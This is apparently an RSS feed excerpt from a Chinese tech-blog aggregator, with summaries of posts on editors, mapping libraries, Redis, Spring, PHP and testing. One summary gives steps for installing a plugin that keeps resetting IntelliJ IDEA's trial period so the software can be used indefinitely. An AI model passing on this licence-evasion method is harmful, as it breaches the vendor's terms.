      <description>缺省Debian安装能用的编辑工具是nano，快捷键功能：&#xA;nano编辑器被设计为模拟UW Pico文本编辑器的功能和易用性。编辑器有四个主要部分。顶部的行显示程序版本、当前正在编辑的文件名以及文件是否已被修改。接下来是显示正在编辑文件的主要编辑窗口。状态行位于底部第三行，并显示重要消息。底部两行显示编辑器中最常用的快捷键。&#xA;快捷键的写法如下：控制键序列以“^”符号标记，可以通过使用Ctrl键或按两次Esc键输入。元键序列以“M-”标记，可以根据您的键盘设置使用Alt、Cmd或Esc键输入。此外，按两次Esc键并输入一个三位十进制数（从000到255）将输入对应值的字符。以下是在主编辑窗口中可用的按键。替代键在括号中显示：&#xA;^G （F1） 显示此帮助文本&#xA;^X （F2） 关闭当前缓冲区/从nano退出&#xA;^O （F3） 将当前缓冲区（或标记区域）写入磁盘&#xA;^R （Ins） 将另一个文件插入到当前缓冲区（或新缓冲区）&#xA;^W （F6） 向前搜索字符串或正则表达式&#xA;^\ （M-R） 替换字符串或正则表达式&#xA;^K （F9） 剪切当前行（或标记区域）并将其存储在剪贴板中&#xA;^U （F10） 从剪贴板中恢复到当前行&#xA;^J （F4） 整理当前段落&#xA;^T （F12） 调用拼写检查器（如果可用）&#xA;^C （F11） 显示光标的位置&#xA;^_ （M-G） 转到行和列号&#xA;M-U 撤消上一次操作&#xA;M-E 重做上一次未操作的操作&#xA;M-A （^6） 从光标位置开始标记文本&#xA;M-6 （M-^） 复制当前行（或标记区域）并将其存储在剪贴板中&#xA;M-] 跳到匹配的括号&#xA;^Q 向后搜索字符串或正则表达式&#xA;M-Q （M-▲）向后搜索下一个出现&#xA;M-W （M-▼）向前搜索下一个出现&#xA;^B （◀）向后移动一个字符&#xA;^F （▶）向前移动一个字符&#xA;^◀ （M-空格）向后移动一个单词&#xA;^▶ （^空格）向前移动一个单词&#xA;^A （Home）移动到当前行的开头&#xA;^E （End）移动到当前行的末尾</description>
    </item>
    <item>
      <title>【MAPBOX基础功能】05、底图切换 - mapbox切换高德、天地图、bingmap等底图</title>
      <link>https://bchobby.github.io/posts/37ff0daef0bfce41da0548b54d32abad/</link>
      <pubDate>Sat, 09 Dec 2023 18:35:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37ff0daef0bfce41da0548b54d32abad/</guid>
      <description>官网指引，生成accesstoken，下载相关依赖请翻阅[https://blog.csdn.net/weixin_44402694/article/details/125414381?spm=1001.2014.3001.5501](https://blog.csdn.net/weixin_44402694/article/details/125414381?spm=1001.2014.3001.5501)&#xA;本文使用官网accesstoken，请自行生成私人token&#xA;底图切换 - mapbox切换高德、天地图、bingmap等底图&#xA;效果 ## 代码实现 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34; /&amp;gt; &amp;lt;title&amp;gt;05、底图切换 - 高德｜天地图｜bingmap｜mapbox&amp;lt;/title&amp;gt; &amp;lt;link href=&#34;https://api.mapbox.com/mapbox-gl-js/v2.7.0/mapbox-gl.css&#34; rel=&#34;stylesheet&#34; /&amp;gt; &amp;lt;script src=&#34;https://api.mapbox.com/mapbox-gl-js/v2.7.0/mapbox-gl.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; * { padding: 0; margin: 0; list-style: none; text-decoration: none; } html, body { width: 100%; height: 100%; } #map { width: 100%; height: 100%; } .btn-list { position: fixed; top: 100px; left: 100px; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>m_map绘图添加遥感图片</title>
      <link>https://bchobby.github.io/posts/5a5222f82fb0c601066c9f10ca955ee6/</link>
      <pubDate>Sat, 09 Dec 2023 16:48:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a5222f82fb0c601066c9f10ca955ee6/</guid>
      <description>在matlab下的m_map可以绘制地形图。那么，如何在m_map添加卫星遥感图片呢？这需要使用m_image函数。&#xA;基本语法为：&#xA;m_image(lonlim,latlim,c) 其中lonlim和latlim是这个图像地理坐标（经纬度）的边界，是一个长度为2的数组。c是图像数组，大小为mn3，其中m，n表示图像的行列数，3表示RGB参数。&#xA;现在有以下图像，来自MODIS的Aqua传感器，拍摄时间为2011-08-01，位置为73-77°N，174-156°W。位置大致为北冰洋楚科奇海域。其中：蓝色为海冰，白色为云层，黑色为海水。&#xA;figname=&#39;snapshot-2011-08-04-map&#39;; figfile=&#39;snapshot-2011-08-04.png&#39;; % 读取遥感图像数据 figdata=imread(figfile); % 显示遥感图像 figure imshow(figdata) figure % 使用lambert投影，图框经纬度范围为180-150°W，70-78°N m_proj(&#39;lambert&#39;,&#39;long&#39;,[-180 -150],&#39;lat&#39;,[70 78]); hold on % 插入遥感图，注意遥感图的纬度顺序要颠倒 m_image([-174 -156],[77 73],figdata),hold on % 填充陆地 m_gshhs(&#39;ic&#39;,&#39;patch&#39;,[1 1 1]*0.5) m_grid(&#39;box&#39;,&#39;fancy&#39;,&#39;tickdir&#39;,&#39;out&#39;) print(&#39;-dpng&#39;,&#39;-r1000&#39;,[figname,&#39;.png&#39;]) % 导出png图片 图像如下：&#xA;如果只显示遥感图像，即图窗范围=遥感图像范围： figname=&#39;snapshot-2011-08-04-map&#39;; figfile=&#39;snapshot-2011-08-04.png&#39;; % 读取遥感图像数据 figdata=imread(figfile); % 显示遥感图像 figure imshow(figdata) figure % 使用lambert投影，图框经纬度范围为174-156°W，73-77°N m_proj(&#39;lambert&#39;,&#39;long&#39;,[-174 -156],&#39;lat&#39;,[73 77]); hold on % 插入遥感图，注意遥感图的纬度顺序要颠倒 m_image([-174 -156],[77 73],figdata),hold on % 填充陆地 m_gshhs(&#39;ic&#39;,&#39;patch&#39;,[1 1 1]*0.5) m_grid(&#39;box&#39;,&#39;fancy&#39;,&#39;tickdir&#39;,&#39;out&#39;) print(&#39;-dpng&#39;,&#39;-r1000&#39;,[figname,&#39;.png&#39;]) % 导出png图片 图像如下：</description>
    </item>
    <item>
      <title>ECharts柱状图设置圆角borderRadius</title>
      <link>https://bchobby.github.io/posts/306cfc1538414854e33a3748434310e0/</link>
      <pubDate>Sat, 09 Dec 2023 15:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/306cfc1538414854e33a3748434310e0/</guid>
      <description>原本样式 代码 option = { tooltip: {}, legend: {}, xAxis: { data: [&#34;Mon&#34;, &#34;Tue&#34;, &#34;Wed&#34;, &#34;Thu&#34;, &#34;Fri&#34;, &#34;Sat&#34;, &#34;Sun&#34;] }, yAxis: {}, series: [{ name: &#34;Sale&#34;, type: &#34;bar&#34;, data: [5, 20, 36, 10, 10, 20, 4] }] } 全体设置圆角 官方文档说上可以利用series-bar.itemStyle. borderRadius来给全体设置圆角&#xA;效果 代码 option = { tooltip: {}, legend: {}, xAxis: { data: [&#34;Mon&#34;, &#34;Tue&#34;, &#34;Wed&#34;, &#34;Thu&#34;, &#34;Fri&#34;, &#34;Sat&#34;, &#34;Sun&#34;] }, yAxis: {}, series: [{ name: &#34;Sale&#34;, type: &#34;bar&#34;, data: [5, 20, 36, 10, 10, 20, 4], itemStyle: { // borderRadius: 10, // 统一设置四个角的圆角大小 borderRadius: [10, 10, 0, 0] //（顺时针左上，右上，右下，左下） } }] } 单独设置圆角 我们通过查阅官方文档发现可以通过 series-bar.</description>
    </item>
    <item>
      <title>bc-linux-欧拉重制root密码</title>
      <link>https://bchobby.github.io/posts/6e60e62936715d4aa651578a9044351f/</link>
      <pubDate>Sat, 09 Dec 2023 11:50:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e60e62936715d4aa651578a9044351f/</guid>
      <description>最近需要重新安装虚拟机的系统&#xA;安装之后发现对方提供的root密码不对，无法进入系统。&#xA;上网搜了下发现可以进入单用户模式进行密码修改从而重置root用户密码。&#xA;在这个界面下按e键&#xA;找到图中部分，把标红的部分删除掉，然后写上rw init=/bin/sh&#xA;改完之后按ctrl+x，进入命令行模式&#xA;在这里输入passwd root重新设置你需要的root密码&#xA;在输入touch /.autorelabel&#xA;然后exit重启就可以用新的root密码进入系统了</description>
    </item>
    <item>
      <title>vs2022linux应用开发中出现“未定义标识符_Float128“</title>
      <link>https://bchobby.github.io/posts/e1d2d2af42432b347109d7d8f1b26e57/</link>
      <pubDate>Sat, 09 Dec 2023 09:42:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1d2d2af42432b347109d7d8f1b26e57/</guid>
      <description>开发平台包括：Win11、VS2022、WLS2。&#xA;当vs2022对应用程序报编译错误时，有时也会报以下信息：&#xA;但应用程序没有编译错误后，上述信息不再出现。</description>
    </item>
    <item>
      <title>VS2009和VS2022的错误列表可复制粘贴为表格</title>
      <link>https://bchobby.github.io/posts/bf3b5878595363170c2afac9580359a5/</link>
      <pubDate>Sat, 09 Dec 2023 09:37:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf3b5878595363170c2afac9580359a5/</guid>
      <description>在VS2019或VS2022中，可看到如下错误列表：&#xA;如果复制这两行错误信息：&#xA;然后把它粘贴到word文件，就可以看到以下表格：&#xA;严重性&#xA;代码&#xA;说明&#xA;项目&#xA;文件&#xA;行&#xA;禁止显示状态&#xA;错误(活动)&#xA;E0020&#xA;未定义标识符 &#34;dd&#34;&#xA;try_c&#xA;E:\try_vs2019\try_c\try_c_main.cpp&#xA;15&#xA;错误&#xA;C2065&#xA;“dd”: 未声明的标识符&#xA;try_c&#xA;E:\try_vs2019\try_c\try_c_main.cpp&#xA;15</description>
    </item>
    <item>
      <title>【科研建模】Industrial Accident Causal Analysis（Gold prize）</title>
      <link>https://bchobby.github.io/posts/e2767fe184b33a1bb3861efcaf2c931f/</link>
      <pubDate>Sat, 09 Dec 2023 06:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2767fe184b33a1bb3861efcaf2c931f/</guid>
      <description>Industrial Accident Causal Analysis 1 项目概况2 模块库导入3 加载数据集4 数据预处理4.1 时间特征提取4.2 季节变量提取4.3 NLP预处理4.4 情感得分 5 EDA5.1 单变量分析5.1.1 国家特征5.1.2 城市特征5.1.3 行业特征5.1.4 事故等级5.1.5 性别特征5.1.6 用工形式5.1.7 关键风险5.1.8 时间特征 5.2 多变量分析5.2.1 国家与行业5.2.2 用工形式和性别5.2.3 性别与行业5.2.4 事故等级与性别5.2.5 用工形式和事故等级5.2.6 事故类别与月份5.2.7 周与事故等级5.2.8 季节与事故等级 6 NLP分析6.1 单-gram6.2 双-gram6.3 三-gram6.4 性别与N-gram6.5 事故等级与N-gram6.6 行业与N-gram6.7 用工类型与N-gram6.8 词云图6.9 情感趋势 7 数据建模7.1 特征工程7.2 模型1自变量x和因变量y指定，并进行数据集划分模型参数设置和模型训练绘制重要特征图绘制决策树图 7.3 模型2 8 结论 1 项目概况 项目详情&#xA;在该数据集中，巴西公司 IHM Stefanini 提供了 3 个国家 12 家制造工厂的事故信息。我们需要利用这个数据集来了解事故发生的原因，并发现减少事故悲剧的线索。&#xA;数据集列如下：&#xA;日期（Date）：时间戳或时间/日期信息国家（Countries）：事故发生在哪个国家（匿名）当地（Local）：生产工厂所在城市（匿名）行业（Industry sector）：工厂所属的行业事故等级（Accident level）：从 I 到 VI，记录事故的严重程度（I 表示不严重，VI 表示非常严重）潜在事故等级（Potential Accident level）：根据事故等级，数据库还记录了事故可能的严重程度（由于事故涉及的其他因素）性别（Genre）：如果受伤者是男性或女性雇员或第三方（Employee or Third Party）：受伤者是雇员还是第三方关键风险（Critical Risk）：对事故所涉风险的一些描述描述（Descrition）： 详细描述事故是如何发生的</description>
    </item>
    <item>
      <title>优化算法 学习记录</title>
      <link>https://bchobby.github.io/posts/a9f3de59c10bc8a5664e85e96d69d7be/</link>
      <pubDate>Sat, 09 Dec 2023 03:11:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9f3de59c10bc8a5664e85e96d69d7be/</guid>
      <description>文章目录 相关资料 优化算法梯度下降学习率牛顿法 随机梯度下降小批量随机梯度下降动量法动量法解决上述问题 AdaGrad 算法RMSProp算法Adam学习率调度器余弦学习率调度预热 相关资料 李沐 动手学深度学习&#xA;优化算法 优化算法使我们能够继续更新模型参数，并使损失函数的值最小化。优化算法的性能直接影响模型的训练效率。&#xA;优化问题中大多数目标函数都很复杂，没有解析解。相反，必须使用数值优化算法。&#xA;优化与深度学习之间的关系 优化和深度学习的目标是根本不同的。前者关注的是最小化目标，后者则关注在给定有限数量的情况下寻找合适的模型。训练误差和泛化误差通常不同：由于优化算法的目标函数通常是基于训练数据集的损失函数，因此优化的目标是减少训练误差。但是，深度学习（或更广义地说，统计推断）的目标是减少泛化误差。为了实现后者，除了使用优化算法来减少训练误差之外，我们还需要注意过拟合。 深度学习中使用优化的挑战 这里关注局部最小值、鞍点和梯度消失 鞍点：saddle point, 函数的所有梯度都消失但不是全局最小值也不是局部最小值的任何位置。较高维度的鞍点可能会更加隐蔽。&#xA;梯度消失。假设我们想最小化函数 f ( x ) = t a n h ( x ) f(x) = tanh(x) f(x)=tanh(x)&#xA;，然后我们恰好从 x=4 开始。正如我们所看到的那样，f 的梯度接近零。更具体地说， f ′ ( x ) = 1 − t a n h 2 ( x ) f^{&#39;}(x) = 1 - tanh^2(x) f′(x)=1−tanh2(x)，因此 f ′ ( 4 ) = 0.0013 f^{&#39;}(4) = 0.</description>
    </item>
    <item>
      <title>Redis学习笔记-Redis基础</title>
      <link>https://bchobby.github.io/posts/f5d8a09830fd2644b737e213eba68800/</link>
      <pubDate>Fri, 08 Dec 2023 20:50:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5d8a09830fd2644b737e213eba68800/</guid>
      <description>Redis学习笔记 Redis官网：https://redis.io/&#xA;Redis教程：♥Redis教程 - Redis知识体系详解♥ | Java 全栈知识体系 (pdai.tech)&#xA;Redis视频教程：https://www.bilibili.com/video/BV1cr4y1671t&#xA;Redis基础 Redis通用命令 在命令行显示所有的通用命令 127.0.0.1:6379&amp;gt; help @generic COPY source destination [DB destination-db] [REPLACE] summary: Copy a key since: 6.2.0 DEL key [key ...] summary: Delete a key since: 1.0.0 DUMP key summary: Return a serialized version of the value stored at the specified key. since: 2.6.0 EXISTS key [key ...] summary: Determine if a key exists since: 1.0.0 EXPIRE key seconds [NX|XX|GT|LT] summary: Set a key&#39;s time to live in seconds since: 1.</description>
    </item>
    <item>
      <title>【Spring教程20】Spring框架实战：AOP（面对切面编程）知识总结</title>
      <link>https://bchobby.github.io/posts/941d99a9891b5fe3c36dfd8592bfbae4/</link>
      <pubDate>Fri, 08 Dec 2023 19:41:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/941d99a9891b5fe3c36dfd8592bfbae4/</guid>
      <description>欢迎大家回到《Java教程之Spring30天快速入门》，本教程所有示例均基于Maven实现，如果您对Maven还很陌生，请移步本人的博文《如何在windows11下安装Maven并配置以及 IDEA配置Maven环境》，本文的上一篇为《利用 AOP通知获取数据代码实例》&#xA;通过本简称的第11节到14节，AOP的知识就已经讲解完了，接下来对于AOP的知识进行一个总结:&#xA;1 AOP的核心概念 概念：AOP(Aspect Oriented Programming)面向切面编程，一种编程范式作用：在不惊动原始设计的基础上为方法进行功能增强核心概念 代理（Proxy）：SpringAOP的核心本质是采用代理模式实现的连接点（JoinPoint）：在SpringAOP中，理解为任意方法的执行切入点（Pointcut）：匹配连接点的式子，也是具有共性功能的方法描述通知（Advice）：若干个方法的共性功能，在切入点处执行，最终体现为一个方法切面（Aspect）：描述通知与切入点的对应关系目标对象（Target）：被代理的原始对象成为目标对象 2 切入点表达式 切入点表达式标准格式：动作关键字(访问修饰符 返回值 包名.类/接口名.方法名（参数）异常名)&#xA;execution(* com.itheima.service.*Service.*(..)) 切入点表达式描述通配符： 作用：用于快速描述，范围描述*：匹配任意符号（常用）… ：匹配多个连续的任意符号（常用）+：匹配子类类型 切入点表达式书写技巧 1.按标准规范开发2.查询操作的返回值建议使用*匹配3.减少使用…的形式描述包4.对接口进行描述，使用表示模块名，例如UserService的匹配描述为Service5.方法名书写保留动词，例如get，使用*表示名词，例如getById匹配描述为getBy*6.参数根据实际情况灵活调整 3 五种通知类型 前置通知后置通知环绕通知（重点） 环绕通知依赖形参ProceedingJoinPoint才能实现对原始方法的调用环绕通知可以隔离原始方法的调用执行环绕通知返回值设置为Object类型环绕通知中可以对原始方法调用过程中出现的异常进行处理 返回后通知抛出异常后通知 4 通知中获取参数 获取切入点方法的参数，所有的通知类型都可以获取参数&#xA;JoinPoint：适用于前置、后置、返回后、抛出异常后通知ProceedingJoinPoint：适用于环绕通知 获取切入点方法返回值，前置和抛出异常后通知是没有返回值，后置通知可有可无，所以不做研究&#xA;返回后通知环绕通知 获取切入点方法运行异常信息，前置和返回后通知是不会有，后置通知可有可无，所以不做研究&#xA;抛出异常后通知环绕通知 AOP的相关知识我们已经讲解完了，从下一节开始，我们开始讲解AOP的事务管理。</description>
    </item>
    <item>
      <title>word填表，表格上方横线不显示</title>
      <link>https://bchobby.github.io/posts/fea0f705bba43fab2bb04bf000f28c4d/</link>
      <pubDate>Fri, 08 Dec 2023 18:27:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea0f705bba43fab2bb04bf000f28c4d/</guid>
      <description>在word表格里填内容，但上方横线是空白&#xA;原因：表格的边框格式设置不正确，表格轮廓线没有画出来，改成【边框】→【所有框线】即可</description>
    </item>
    <item>
      <title>MeteoInfo-Java解析与绘图教程</title>
      <link>https://bchobby.github.io/posts/631ccbecc206289f2dd242c312aa9c76/</link>
      <pubDate>Fri, 08 Dec 2023 17:28:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/631ccbecc206289f2dd242c312aa9c76/</guid>
      <description>MeteoInfo-Java解析与绘图教程(四) 上文我们说到,将地图叠加在色斑图上,但大部分都是卫星绘图,现在开始讲解micaps数据绘图,同样也是更多自定义&#xA;配置&#xA;首先我们解析micaps数据,将之前学到的东西拿过来绘图&#xA;MeteoDataInfo meteoDataInfo = new MeteoDataInfo(); meteoDataInfo.openMICAPSData(&#34;D:\\解析数据\\cldas\\cldas\\TEM\\20081000.000&#34;); GridData grid = meteoDataInfo.getGridData(); //读取地图A VectorLayer scmap = MapDataManage.readMapFile_ShapeFile(&#34;E:\\shp\\四川\\四川省(3)_市界.shp&#34;); //描述地图边界线 PolygonBreak pb = (PolygonBreak) scmap.getLegendScheme().getLegendBreak(0); //是否设置填充 pb.setDrawFill(false); //设置轮廓大小 pb.setOutlineSize(2f); //设置轮廓颜色 pb.setOutlineColor(Color.black); //读取色阶 LegendScheme als = LgsUtil.readFromLgs(&#34;D:\\apache-tomcat-8.0.50\\alt色阶\\color\\ECMWF_HR\\TMP.lgs&#34;); //绘制图层 VectorLayer layer = DrawMeteoData.createShadedLayer(grid,als,&#34;&#34;,&#34;&#34;,true); //创建视图 MapView view = new MapView(); //叠加图层 view.addLayer(layer); view.addLayer(scmap); MapLayout layout = new MapLayout(); //去除图形边框 layout.getActiveMapFrame().setDrawNeatLine(false); //区域边界 Extent extent = view.getExtent(); //设置矩形的宽和高 Rectangle bounds = new Rectangle(800, (int) (800 * 1D / extent.</description>
    </item>
    <item>
      <title>【实用经验】如何根据CVE编号找到安全补丁</title>
      <link>https://bchobby.github.io/posts/cb71d641cacd23cb63369bed25231c7d/</link>
      <pubDate>Fri, 08 Dec 2023 17:23:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb71d641cacd23cb63369bed25231c7d/</guid>
      <description>找到对应补丁页面 例如查找编号为 CVE-2019-0708 的漏洞，访问下面链接即可，替换末尾编号可获取其他漏洞更新补丁。&#xA;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708 根据实际情况点击右侧补丁链接即可跳转下载 最后根据实际情况下载对应补丁双击安装即可！！，下载补丁建议使用火狐浏览器</description>
    </item>
    <item>
      <title>uniapp/小程序 scroll-view 中设置flex布局无效问题</title>
      <link>https://bchobby.github.io/posts/3af9a1d5748569159eb1d26fc854e860/</link>
      <pubDate>Fri, 08 Dec 2023 17:19:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3af9a1d5748569159eb1d26fc854e860/</guid>
      <description>问题 使用 scroll-view 设置横向滑动时在 scroll-view 元素上设置flex布局，没有生效&#xA;&amp;lt;scroll-view scroll-x class=&#39;recommend-content&#39;&amp;gt; &amp;lt;view&amp;gt; 点赞 &amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; 收藏 &amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; 关注 &amp;lt;/view&amp;gt; &amp;lt;/scroll-view&amp;gt; &amp;lt;style&amp;gt; .recommend-content{ display: flex; /* flex布局无效 */ } &amp;lt;/style&amp;gt; 解决方法 在 scroll-view 下再加一层 view 包着 scroll-view 的内部元素，并在新增的这层 view 中设置 flex 布局：&#xA;&amp;lt;scroll-view scroll-x class=&#39;recommend-content&#39;&amp;gt; &amp;lt;view class=&#39;recommend-content-all&#39;&amp;gt; &amp;lt;view&amp;gt; 点赞 &amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; 收藏 &amp;lt;/view&amp;gt; &amp;lt;view&amp;gt; 关注 &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/scroll-view&amp;gt; &amp;lt;style&amp;gt; .recommend-content-all{ display: flex; } &amp;lt;/style&amp;gt; 效果 👇觉得有帮助的朋友可以支持下作者哦，您的鼓励是我创作的最大动力，如有开发问题可联系作者</description>
    </item>
    <item>
      <title>php 获取今日、昨日、上周、本月的起始时间戳和结束时间戳的方法非常简单</title>
      <link>https://bchobby.github.io/posts/0d53cbdb1928ed42466be6e5db40a99c/</link>
      <pubDate>Fri, 08 Dec 2023 17:13:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d53cbdb1928ed42466be6e5db40a99c/</guid>
      <description>php 获取今日、昨日、上周、本月的起始时间戳和结束时间戳的方法，主要使用到了 php 的时间函数 mktime。下面首先还是以示例说明如何使用 mktime 获取今日、昨日、上周、本月的起始时间戳和结束时间戳，然后在介绍一下 mktime 函数作用和用法。非常简单哦。&#xA;php获取今日开始时间戳和结束时间戳&#xA;$beginToday=mktime(0,0,0,date(&#39;m&#39;),date(&#39;d&#39;),date(&#39;Y&#39;)); $endToday=mktime(0,0,0,date(&#39;m&#39;),date(&#39;d&#39;)+1,date(&#39;Y&#39;))-1; php获取昨日起始时间戳和结束时间戳&#xA;$beginYesterday=mktime(0,0,0,date(&#39;m&#39;),date(&#39;d&#39;)-1,date(&#39;Y&#39;)); $endYesterday=mktime(0,0,0,date(&#39;m&#39;),date(&#39;d&#39;),date(&#39;Y&#39;))-1; php获取上周起始时间戳和结束时间戳&#xA;$beginLastweek=mktime(0,0,0,date(&#39;m&#39;),date(&#39;d&#39;)-date(&#39;w&#39;)+1-7,date(&#39;Y&#39;)); $endLastweek=mktime(23,59,59,date(&#39;m&#39;),date(&#39;d&#39;)-date(&#39;w&#39;)+7-7,date(&#39;Y&#39;)); php获取本月起始时间戳和结束时间戳&#xA;$beginThismonth=mktime(0,0,0,date(&#39;m&#39;),1,date(&#39;Y&#39;)); $endThismonth=mktime(23,59,59,date(&#39;m&#39;),date(&#39;t&#39;),date(&#39;Y&#39;)); PHP mktime() 函数用于返回一个日期的 Unix 时间戳。&#xA;语法&#xA;mktime(hour,minute,second,month,day,year,is\_dst) 可选。如果时间在日光节约时间(DST)期间，则设置为1，否则设置为0，若未知，则设置为-1。&#xA;自 5.1.0 起，is_dst 参数被废弃。因此应该使用新的时区处理特性。&#xA;|&#xA;用法&#xA;参数总是表示 GMT 日期，因此 is_dst 对结果没有影响。&#xA;参数可以从右到左依次空着，空着的参数会被设为相应的当前 GMT 值。&#xA;注意在 PHP 5.1 之前，如果该函数的参数非法，则会返回 false。&#xA;另外需要注意的是该函数对于日期运算和验证非常有用。它可以自动校正越界的输入，如：&#xA;echo(date(&#34;M-d-Y&#34;,mktime(0,0,0,12,36,2001))); 将输出结果如：&#xA;Jan-05-2002</description>
    </item>
    <item>
      <title>使用php 获取时间今天、明天、昨天时间戳的详解</title>
      <link>https://bchobby.github.io/posts/db0cb0a5c1c60caae6e57cc74ec87d8c/</link>
      <pubDate>Fri, 08 Dec 2023 17:13:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db0cb0a5c1c60caae6e57cc74ec87d8c/</guid>
      <description>使用php获取时间今、明天、昨天时间戳&#xA;&amp;lt;?php echo &#34;今天:&#34;.date(&#34;Y-m-d&#34;).&#34;&#34;; echo &#34;昨天:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;-1 day&#34;)), &#34;&#34;; echo &#34;明天:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;+1 day&#34;)). &#34;&#34;; echo &#34;一周后:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;+1 week&#34;)). &#34;&#34;; echo &#34;一周零两天四小时两秒后:&#34;.date(&#34;Y-m-d G:H:s&#34;,strtotime(&#34;+1 week 2 days 4 hours 2 seconds&#34;)). &#34;&#34;; echo &#34;下个星期四:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;next Thursday&#34;)). &#34;&#34;; echo &#34;上个周一:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;last Monday&#34;)).&#34;&#34;; echo &#34;一个月前:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;last month&#34;)).&#34;&#34;; echo &#34;一个月后:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;+1 month&#34;)).&#34;&#34;; echo &#34;十年后:&#34;.date(&#34;Y-m-d&#34;,strtotime(&#34;+10 year&#34;)).&#34;&#34;; strtotime()函数的作用是将日期时间描述解析为 Unix 时间戳 int strtotime ( string time \[, int now\] ) ?&amp;gt; 本函数预期接受一个包含美国英语日期格式的字符串并尝试将其解析为 Unix 时间戳（自 January 1 1970 00:00:00 GMT 起的秒数），其值相对于 now 参数给出的时间，如果没有提供此参数则用系统当前时间。&#xA;---------------------------------------------------------------------------------------------------------------------------------&#xA;在PHP里得到前天和昨天的日期的代码</description>
    </item>
    <item>
      <title>如何安装ideaIU-2020.3.3并使用无限重置插件达到永久使用</title>
      <link>https://bchobby.github.io/posts/5cfbcdd7a8132b039a5fcabfda91c12e/</link>
      <pubDate>Fri, 08 Dec 2023 17:05:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cfbcdd7a8132b039a5fcabfda91c12e/</guid>
      <description>第一步、双击安装idea程序 第二步、选中64位与更新环境变量 第三步、安装完成后双击打开 1、选中 Evaluate for free – Evaluate 进入试用期&#xA;第四步、打开后选择Plugins – 设置 1、安装来自磁盘 Install Plugin from Disk&#xA;第五步、选中我们的无限重置插件，安装 第六步、关闭重新打开软件，新建一个项目 1、选中Help – Eval Reset&#xA;2、选中Auto reset before per restart – reset – yes&#xA;大功告成，接下来就可以安心的去码代码了，以后每当我们重开关闭并打开idea的时候，试用时间均会被重置，达到我们想要的结果~&#xA;那么如何去验证我们的软件是否成功呢，这里就重点看这一段，UNTIL 截止日期，现在是09:25:02，过一段时候我们在关闭打开idea，此时已经看到日期已经变为最新</description>
    </item>
    <item>
      <title>【银行测试】金融项目&#43;测试方法范围分析，功能/接口/性能/安全...</title>
      <link>https://bchobby.github.io/posts/9c296035c664e1c14d83f7ca592f284e/</link>
      <pubDate>Fri, 08 Dec 2023 14:23:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c296035c664e1c14d83f7ca592f284e/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、金融行业软件特征分析&#xA;金融行业软件系统具有集中度高、规模庞大、数量多、系统之间关联性强、业务复杂、需求变化快等特点，如何有效可行的实现软件测试和软件质量控制，是对金融行业软件测试人员提出的基本要求。&#xA;1）金融行业软件的业务特点&#xA;以金融行业软件的典型代表银行系统软件为例：&#xA;一般的银行系统软件都有一个核心系统，核心系统主要涉及账务的处理、清算、计息等。&#xA;银行的其它业务系统都会直接或间接的与核心系统进行交互，主要处理一些涉及业务的流程以及系统管理、用户管理等辅助功能。&#xA;此外，银行的业务系统也种类繁多。&#xA;比如：ACE/柜面、网上银行、电话银行、呼叫中心、信贷、资产托管、资金风险分析及风险控制系统、外汇买卖、基金、期货、黄金、汇票、信用卡业务以及其它衍生业务等等。&#xA;各个系统之间都可能有着密切的联系，之间也会涉及到不同系统之间的接口。&#xA;因此，在测试过程中，除了对银行的核心系统、业务系统进行测试之外，还会涉及对接口的测试，而接口测试往往需要测试人员构造一定的测试环境与测试数据来模拟各系统之间的交互。&#xA;2）金融行业软件的复杂性特点&#xA;就银行系统软件来说，本身就具有复杂性的特点。首先，银行软件具有不同的客户群，如个人用户、企业用户、银行内部管理人员、业务人员等，因此，银行软件会有针对不同客户所使用的版本或权限控制。&#xA;此外，对于不同的服务方式，如柜台、电话银行、网上银行等，都必须开发出不同的软件。其次，银行业务种类繁多，业务逻辑也非常复杂，对业务处理要求有很高的安全性和实时性，这些都要借助复杂的技术才能实现。&#xA;因此，对于测试而言，软件的复杂性也增加了测试的复杂性，对测试者来说要求有相当的经验和测试技术的支持。&#xA;另外，由于银行业务的快速发展，当旧的银行软件系统无法满足业务处理的要求时，就必须开发新的系统，对于重新开发的新系统来说，旧系统的用户数据必须保证能在新系统中正常使用。&#xA;这就涉及到了新